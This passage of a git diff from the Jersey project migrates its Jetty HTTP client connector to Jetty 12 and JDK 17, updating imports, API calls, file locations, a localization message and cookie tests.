- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,16 +18,10 @@
import jakarta.ws.rs.ProcessingException;
import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configurable;
import jakarta.ws.rs.core.Configuration;
-
-import org.glassfish.jersey.client.Initializable;
import org.glassfish.jersey.client.spi.Connector;
import org.glassfish.jersey.client.spi.ConnectorProvider;
-import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.internal.util.JdkVersion;
-
/**
* A {@link ConnectorProvider} for Jersey {@link Connector connector}
* instances that utilize the Jetty HTTP Client to send and receive
@@ -86,43 +80,6 @@
@Override
public Connector getConnector(Client client, Configuration runtimeConfig) {
- if (JdkVersion.getJdkVersion().getMajor() < 11) {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
- return new JettyConnector(client, runtimeConfig);
- }
-
- /**
- * Retrieve the underlying Jetty {@link org.eclipse.jetty.client.HttpClient} instance from
- * {@link org.glassfish.jersey.client.JerseyClient} or {@link org.glassfish.jersey.client.JerseyWebTarget}
- * configured to use {@code JettyConnectorProvider}.
- *
- * @param component {@code JerseyClient} or {@code JerseyWebTarget} instance that is configured to use
- * {@code JettyConnectorProvider}.
- * @return underlying Jetty {@code HttpClient} instance.
- *
- * @throws java.lang.IllegalArgumentException in case the {@code component} is neither {@code JerseyClient}
- * nor {@code JerseyWebTarget} instance or in case the component
- * is not configured to use a {@code JettyConnectorProvider}.
- * @since 2.8
- */
- public static HttpClient getHttpClient(Configurable<?> component) {
- if (!(component instanceof Initializable)) {
- throw new IllegalArgumentException(
- LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()));
- }
-
- final Initializable<?> initializable = (Initializable<?>) component;
- Connector connector = initializable.getConfiguration().getConnector();
- if (connector == null) {
- initializable.preInitialize();
- connector = initializable.getConfiguration().getConnector();
- }
-
- if (connector instanceof JettyConnector) {
- return ((JettyConnector) connector).getHttpClient();
- }
-
- throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
}
}
diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
index b061ef5..6453521 100644
--- a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
+++ b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
index dc43fb3..2b9e8b2 100644
--- a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
+++ b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2019, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnector.java
similarity index 87%
copy from connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java
copy to connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnector.java
index d85ec4d..aa8f0e6 100644
--- a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java
+++ b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnector.java
@@ -16,46 +16,6 @@
package org.glassfish.jersey.jetty.connector;
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configuration;
-import jakarta.ws.rs.core.MultivaluedMap;
-import org.eclipse.jetty.client.HttpClient;
-import org.eclipse.jetty.client.HttpClientTransport;
-import org.eclipse.jetty.client.HttpProxy;
-import org.eclipse.jetty.client.ProxyConfiguration;
-import org.eclipse.jetty.client.api.AuthenticationStore;
-import org.eclipse.jetty.client.api.ContentProvider;
-import org.eclipse.jetty.client.api.ContentResponse;
-import org.eclipse.jetty.client.api.Request;
-import org.eclipse.jetty.client.api.Response;
-import org.eclipse.jetty.client.api.Result;
-import org.eclipse.jetty.client.http.HttpClientTransportOverHTTP;
-import org.eclipse.jetty.client.util.BasicAuthentication;
-import org.eclipse.jetty.client.util.BytesContentProvider;
-import org.eclipse.jetty.client.util.FutureResponseListener;
-import org.eclipse.jetty.client.util.OutputStreamContentProvider;
-import org.eclipse.jetty.http.HttpField;
-import org.eclipse.jetty.http.HttpFields;
-import org.eclipse.jetty.http.HttpHeader;
-import org.eclipse.jetty.io.ClientConnector;
-import org.eclipse.jetty.util.HttpCookieStore;
-import org.eclipse.jetty.util.Jetty;
-import org.eclipse.jetty.util.ssl.SslContextFactory;
-import org.eclipse.jetty.util.thread.QueuedThreadPool;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.client.ClientRequest;
-import org.glassfish.jersey.client.ClientResponse;
-import org.glassfish.jersey.client.innate.ClientProxy;
-import org.glassfish.jersey.client.spi.AsyncConnectorCallback;
-import org.glassfish.jersey.client.spi.Connector;
-import org.glassfish.jersey.internal.util.collection.ByteBufferInputStream;
-import org.glassfish.jersey.internal.util.collection.NonBlockingInputStream;
-import org.glassfish.jersey.message.internal.HeaderUtils;
-import org.glassfish.jersey.message.internal.OutboundMessageContext;
-import org.glassfish.jersey.message.internal.Statuses;
-
-import javax.net.ssl.SSLContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.FilterInputStream;
@@ -76,10 +36,52 @@
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.concurrent.atomic.AtomicReference;
-import java.util.function.Consumer;
import java.util.logging.Level;
import java.util.logging.Logger;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configuration;
+import jakarta.ws.rs.core.MultivaluedMap;
+
+import javax.net.ssl.SSLContext;
+
+import org.eclipse.jetty.client.AuthenticationStore;
+import org.eclipse.jetty.client.BasicAuthentication;
+import org.eclipse.jetty.client.ByteBufferRequestContent;
+import org.eclipse.jetty.client.ContentResponse;
+import org.eclipse.jetty.client.FutureResponseListener;
+import org.eclipse.jetty.client.HttpClientTransport;
+import org.eclipse.jetty.client.OutputStreamRequestContent;
+import org.eclipse.jetty.client.Request;
+import org.eclipse.jetty.client.Response;
+import org.eclipse.jetty.client.Result;
+import org.eclipse.jetty.client.transport.HttpClientTransportOverHTTP;
+import org.eclipse.jetty.client.transport.HttpRequest;
+import org.eclipse.jetty.http.HttpCookieStore;
+import org.eclipse.jetty.io.ClientConnector;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientRequest;
+import org.glassfish.jersey.client.ClientResponse;
+import org.glassfish.jersey.client.innate.ClientProxy;
+import org.glassfish.jersey.client.spi.AsyncConnectorCallback;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.internal.util.collection.ByteBufferInputStream;
+import org.glassfish.jersey.internal.util.collection.NonBlockingInputStream;
+import org.glassfish.jersey.message.internal.HeaderUtils;
+import org.glassfish.jersey.message.internal.OutboundMessageContext;
+import org.glassfish.jersey.message.internal.Statuses;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.eclipse.jetty.client.HttpProxy;
+import org.eclipse.jetty.client.ProxyConfiguration;
+import org.eclipse.jetty.http.HttpField;
+import org.eclipse.jetty.http.HttpFields;
+import org.eclipse.jetty.http.HttpHeader;
+import org.eclipse.jetty.util.Jetty;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+import org.eclipse.jetty.util.thread.QueuedThreadPool;
+
/**
* A {@link Connector} that utilizes the Jetty HTTP Client to send and receive
* HTTP request and responses.
@@ -134,7 +136,7 @@
private static final Logger LOGGER = Logger.getLogger(JettyConnector.class.getName());
private final HttpClient client;
- private final CookieStore cookieStore;
+ private final HttpCookieStore cookieStore;
private final Configuration configuration;
private final Optional<Integer> syncListenerResponseMaxSize;
@@ -144,7 +146,7 @@
* @param jaxrsClient JAX-RS client instance, for which the connector is created.
* @param config client configuration.
*/
- protected JettyConnector(final Client jaxrsClient, final Configuration config) {
+ public JettyConnector(final Client jaxrsClient, final Configuration config) {
this.configuration = config;
HttpClient httpClient = getRegisteredHttpClient(config);
@@ -202,13 +204,13 @@
});
if (disableCookies) {
- client.setCookieStore(new HttpCookieStore.Empty());
+ client.setHttpCookieStore(new HttpCookieStore.Empty());
}
final Object slResponseMaxSize = configuration.getProperties()
- .get(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE);
+ .get(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE);
if (slResponseMaxSize != null && slResponseMaxSize instanceof Integer
- && (Integer) slResponseMaxSize > 0) {
+ && (Integer) slResponseMaxSize > 0) {
this.syncListenerResponseMaxSize = Optional.of((Integer) slResponseMaxSize);
}
else {
@@ -220,7 +222,7 @@
} catch (final Exception e) {
throw new ProcessingException("Failed to start the client.", e);
}
- this.cookieStore = client.getCookieStore();
+ this.cookieStore = client.getHttpCookieStore();
}
/**
@@ -270,7 +272,7 @@
* @return the {@link CookieStore} instance or null when
* JettyClientProperties.DISABLE_COOKIES set to true.
*/
- public CookieStore getCookieStore() {
+ public HttpCookieStore getCookieStore() {
return cookieStore;
}
@@ -278,10 +280,10 @@
public ClientResponse apply(final ClientRequest jerseyRequest) throws ProcessingException {
final Request jettyRequest = translateRequest(jerseyRequest);
final Map<String, String> clientHeadersSnapshot = new HashMap<>();
- final ContentProvider entity =
+ final Request.Content entity =
getBytesProvider(jerseyRequest, jerseyRequest.getHeaders(), clientHeadersSnapshot, jettyRequest);
if (entity != null) {
- jettyRequest.content(entity);
+ jettyRequest.body(entity);
} else {
clientHeadersSnapshot.putAll(writeOutBoundHeaders(jerseyRequest.getHeaders(), jettyRequest));
}
@@ -293,12 +295,12 @@
}
else {
final FutureResponseListener listener
- = new FutureResponseListener(jettyRequest, syncListenerResponseMaxSize.get());
+ = new FutureResponseListener(jettyRequest, syncListenerResponseMaxSize.get());
jettyRequest.send(listener);
jettyResponse = listener.get();
}
HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, jerseyRequest.getHeaders(),
- JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
+ JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
final jakarta.ws.rs.core.Response.StatusType status = jettyResponse.getReason() == null
? Statuses.from(jettyResponse.getStatus())
@@ -364,19 +366,19 @@
private Map<String, String> writeOutBoundHeaders(final MultivaluedMap<String, Object> headers, final Request request) {
final Map<String, String> stringHeaders = HeaderUtils.asStringHeadersSingleValue(headers, configuration);
- final Consumer<HttpFields.Mutable> mutableConsumer = httpFields -> {
- // remove User-agent header set by Jetty; Jersey already sets this in its request (incl. Jetty version)
- httpFields.remove(HttpHeader.USER_AGENT);
- for (final Map.Entry<String, String> e : stringHeaders.entrySet()) {
- httpFields.put(e.getKey(), e.getValue());
- }
- };
- request.headers(mutableConsumer);
+ // remove User-agent header set by Jetty; Jersey already sets this in its request (incl. Jetty version)
+ request.headers(httpFields -> httpFields.remove(HttpHeader.USER_AGENT));
+ if (request instanceof HttpRequest) {
+ final HttpRequest httpRequest = (HttpRequest) request;
+ for (final Map.Entry<String, String> e : stringHeaders.entrySet()) {
+ httpRequest.headers(httpFields -> httpFields.put(new HttpField(e.getKey(), e.getValue())));
+ }
+ }
return stringHeaders;
}
- private ContentProvider getBytesProvider(final ClientRequest clientRequest,
+ private Request.Content getBytesProvider(final ClientRequest clientRequest,
final MultivaluedMap<String, Object> headers,
final Map<String, String> snapshot,
final Request request) {
@@ -400,17 +402,22 @@
} catch (final IOException e) {
throw new ProcessingException("Failed to write request entity.", e);
}
- return new BytesContentProvider(outputStream.toByteArray());
+ return new ByteBufferRequestContent(ByteBuffer.wrap(outputStream.toByteArray()));
}
- private ContentProvider getStreamProvider(final ClientRequest clientRequest) {
+ private Request.Content getStreamProvider(final ClientRequest clientRequest) {
final Object entity = clientRequest.getEntity();
if (entity == null) {
return null;
}
- final OutputStreamContentProvider streamContentProvider = new OutputStreamContentProvider();
+ String contentTypeHeader = clientRequest.getRequestHeaders()
+ .getFirst(HttpHeader.CONTENT_TYPE.asString());
+
+ String contentType = contentTypeHeader != null ? contentTypeHeader : "application/octet-stream";
+
+ final OutputStreamRequestContent streamContentProvider = new OutputStreamRequestContent(contentType);
clientRequest.setStreamProvider(new OutboundMessageContext.StreamProvider() {
@Override
public OutputStream getOutputStream(final int contentLength) throws IOException {
@@ -420,12 +427,12 @@
return streamContentProvider;
}
- private void processContent(final ClientRequest clientRequest, final ContentProvider entity) throws IOException {
+ private void processContent(final ClientRequest clientRequest, final Request.Content entity) throws IOException {
if (entity == null) {
return;
}
- final OutputStreamContentProvider streamContentProvider = (OutputStreamContentProvider) entity;
+ final OutputStreamRequestContent streamContentProvider = (OutputStreamRequestContent) entity;
try (final OutputStream output = streamContentProvider.getOutputStream()) {
clientRequest.writeEntity();
}
@@ -435,31 +442,31 @@
public Future<?> apply(final ClientRequest jerseyRequest, final AsyncConnectorCallback callback) {
final Request jettyRequest = translateRequest(jerseyRequest);
final Map<String, String> clientHeadersSnapshot = writeOutBoundHeaders(jerseyRequest.getHeaders(), jettyRequest);
- final ContentProvider entity = getStreamProvider(jerseyRequest);
+ final Request.Content entity = getStreamProvider(jerseyRequest);
if (entity != null) {
- jettyRequest.content(entity);
+ jettyRequest.body(entity);
}
final AtomicBoolean callbackInvoked = new AtomicBoolean(false);
final Throwable failure;
try {
final CompletableFuture<ClientResponse> responseFuture = new CompletableFuture<ClientResponse>();
responseFuture.whenComplete(
- (clientResponse, throwable) -> {
- if (throwable != null && throwable instanceof CancellationException) {
- // take care of future cancellation
- jettyRequest.abort(throwable);
+ (clientResponse, throwable) -> {
+ if (throwable != null && throwable instanceof CancellationException) {
+ // take care of future cancellation
+ jettyRequest.abort(throwable);
- }
- });
+ }
+ });
final AtomicReference<ClientResponse> jerseyResponse = new AtomicReference<>();
final ByteBufferInputStream entityStream = new ByteBufferInputStream();
- jettyRequest.send(new Response.Listener.Adapter() {
+ jettyRequest.send(new Response.Listener() {
@Override
public void onHeaders(final Response jettyResponse) {
HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, jerseyRequest.getHeaders(),
- JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
+ JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
if (responseFuture.isDone()) {
if (!callbackInvoked.compareAndSet(false, true)) {
@@ -528,7 +535,7 @@
}
private static ClientResponse translateResponse(final ClientRequest jerseyRequest,
- final org.eclipse.jetty.client.api.Response jettyResponse,
+ final org.eclipse.jetty.client.Response jettyResponse,
final NonBlockingInputStream entityStream) {
final ClientResponse jerseyResponse = new ClientResponse(Statuses.from(jettyResponse.getStatus()), jerseyRequest);
processResponseHeaders(jettyResponse.getHeaders(), jerseyResponse);
@@ -549,4 +556,4 @@
throw new ProcessingException("Failed to stop the client.", e);
}
}
-}
+}
\ No newline at end of file
diff --git a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
new file mode 100644
index 0000000..43a08ce
--- /dev/null
+++ b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configurable;
+import jakarta.ws.rs.core.Configuration;
+
+import org.glassfish.jersey.client.Initializable;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.client.spi.ConnectorProvider;
+
+import org.eclipse.jetty.client.HttpClient;
+
+/**
+ * A {@link ConnectorProvider} for Jersey {@link Connector connector}
+ * instances that utilize the Jetty HTTP Client to send and receive
+ * HTTP request and responses.
+ * <p>
+ * The following connector configuration properties are supported:
+ * <ul>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#ASYNC_THREADPOOL_SIZE}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#CONNECT_TIMEOUT}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#FOLLOW_REDIRECTS}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_URI}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
+ * <li>{@link JettyClientProperties#DISABLE_COOKIES}</li>*
+ * <li>{@link JettyClientProperties#ENABLE_SSL_HOSTNAME_VERIFICATION}</li>
+ * <li>{@link JettyClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}</li>
+ * <li>{@link JettyClientProperties#SYNC_LISTENER_RESPONSE_MAX_SIZE}</li>
+ * </ul>
+ * </p>
+ * <p>
+ * This transport supports both synchronous and asynchronous processing of client requests.
+ * The following methods are supported: GET, POST, PUT, DELETE, HEAD, OPTIONS, TRACE, CONNECT and MOVE.
+ * </p>
+ * <p>
+ * Typical usage:
+ * </p>
+ * <pre>
+ * {@code
+ * ClientConfig config = new ClientConfig();
+ * config.connectorProvider(new JettyConnectorProvider());
+ * Client client = ClientBuilder.newClient(config);
+ *
+ * // async request
+ * WebTarget target = client.target("http://localhost:8080");
+ * Future<Response> future = target.path("resource").request().async().get();
+ *
+ * // wait for 3 seconds
+ * Response response = future.get(3, TimeUnit.SECONDS);
+ * String entity = response.readEntity(String.class);
+ * client.close();
+ * }
+ * </pre>
+ * <p>
+ * Connector instances created via Jetty HTTP Client-based connector provider support only
+ * {@link org.glassfish.jersey.client.RequestEntityProcessing#BUFFERED entity buffering}.
+ * Defining the property {@link org.glassfish.jersey.client.ClientProperties#REQUEST_ENTITY_PROCESSING} has no
+ * effect on Jetty HTTP Client-based connectors.
+ * </p>
+ *
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Marek Potociar
+ * @since 2.5
+ */
+public class JettyConnectorProvider implements ConnectorProvider {
+
+ @Override
+ public Connector getConnector(Client client, Configuration runtimeConfig) {
+ return new JettyConnector(client, runtimeConfig);
+ }
+
+ /**
+ * Retrieve the underlying Jetty {@link org.eclipse.jetty.client.HttpClient} instance from
+ * {@link org.glassfish.jersey.client.JerseyClient} or {@link org.glassfish.jersey.client.JerseyWebTarget}
+ * configured to use {@code JettyConnectorProvider}.
+ *
+ * @param component {@code JerseyClient} or {@code JerseyWebTarget} instance that is configured to use
+ * {@code JettyConnectorProvider}.
+ * @return underlying Jetty {@code HttpClient} instance.
+ *
+ * @throws java.lang.IllegalArgumentException in case the {@code component} is neither {@code JerseyClient}
+ * nor {@code JerseyWebTarget} instance or in case the component
+ * is not configured to use a {@code JettyConnectorProvider}.
+ * @since 2.8
+ */
+ public static HttpClient getHttpClient(Configurable<?> component) {
+ if (!(component instanceof Initializable)) {
+ throw new IllegalArgumentException(
+ LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()));
+ }
+
+ final Initializable<?> initializable = (Initializable<?>) component;
+ Connector connector = initializable.getConfiguration().getConnector();
+ if (connector == null) {
+ initializable.preInitialize();
+ connector = initializable.getConfiguration().getConnector();
+ }
+
+ if (connector instanceof JettyConnector) {
+ return ((JettyConnector) connector).getHttpClient();
+ }
+
+ throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
+ }
+}
diff --git a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
similarity index 93%
copy from connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
copy to connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
index b061ef5..6453521 100644
--- a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
+++ b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
similarity index 84%
rename from connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
rename to connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
index 59c8fd3..2b9e8b2 100644
--- a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
+++ b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -15,9 +15,7 @@
*/
package org.glassfish.jersey.jetty.connector;
-import jakarta.ws.rs.ProcessingException;
import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.internal.util.JdkVersion;
/**
* Jetty HttpClient supplier to be registered into Jersey configuration to be used by {@link JettyConnector}.
@@ -53,9 +51,6 @@
@Override
public HttpClient getHttpClient() {
- if (JdkVersion.getJdkVersion().getMajor() < 11) {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
- return null; // does not work at JDK 1.8
+ return httpClient;
}
}
diff --git a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java b/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
deleted file mode 100644
index 8723025..0000000
--- a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configuration;
-
-import org.glassfish.jersey.client.spi.Connector;
-import org.glassfish.jersey.client.spi.ConnectorProvider;
-
-import org.glassfish.jersey.internal.util.JdkVersion;
-
-/**
- * JDK 1.8 Jetty Connector stub which only throws exception when running on JDK 1.8
- * New Jetty (11+) does not support JDKs prior to 11
- *
- * @since 3.0.0
- */
-public class JettyConnectorProvider implements ConnectorProvider {
-
- @Override
- public Connector getConnector(Client client, Configuration runtimeConfig) {
- if (JdkVersion.getJdkVersion().getMajor() < 11) {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
- return null; // does not work at JDK 1.8
- }
-
-}
diff --git a/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties b/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
index 128d40b..6561153 100644
--- a/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
+++ b/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
@@ -1,5 +1,5 @@
#
-# Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
#
# This program and the accompanying materials are made available under the
# terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,4 +18,4 @@
method.not.supported=Method {0} not supported.
invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget.
expected.connector.provider.not.used=The supplied component is not configured to use a JettyConnectorProvider.
-not.supported=Jetty connector is not supported on JDK version less than 11.
+not.supported=Jetty connector is not supported on JDK version less than 17.
diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java
index f0bfb60..16f1b55 100644
--- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java
+++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -33,12 +33,12 @@
import jakarta.inject.Singleton;
+import org.eclipse.jetty.client.BasicAuthentication;
import org.glassfish.jersey.client.ClientConfig;
import org.glassfish.jersey.logging.LoggingFeature;
import org.glassfish.jersey.server.ResourceConfig;
import org.glassfish.jersey.test.JerseyTest;
-import org.eclipse.jetty.client.util.BasicAuthentication;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertTrue;
diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java
index 2a49c00..782cf40 100644
--- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java
+++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -95,7 +95,7 @@
final JettyConnector connector = (JettyConnector) client.getConfiguration().getConnector();
if (connector.getCookieStore() != null) {
- assertTrue(connector.getCookieStore().getCookies().isEmpty());
+ assertTrue(connector.getCookieStore().all().isEmpty());
} else {
assertNull(connector.getCookieStore());
}
@@ -113,9 +113,9 @@
assertEquals("value", r.request().get(String.class));
final JettyConnector connector = (JettyConnector) client.getConfiguration().getConnector();
- assertNotNull(connector.getCookieStore().getCookies());
- assertEquals(1, connector.getCookieStore().getCookies().size());
- assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue());
+ assertNotNull(connector.getCookieStore().all());
+ assertEquals(1, connector.getCookieStore().all().size());
+ assertEquals("value", connector.getCookieStore().all().get(0).getValue());
client.close();
}
}
diff --git a/connectors/jetty-http2-connector/pom.xml b/connectors/jetty-http2-connector/pom.xml
index 0035670..abd0cee 100644
--- a/connectors/jetty-http2-connector/pom.xml
+++ b/connectors/jetty-http2-connector/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.connectors</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-jetty-http2-connector</artifactId>
@@ -34,10 +34,10 @@
<properties>
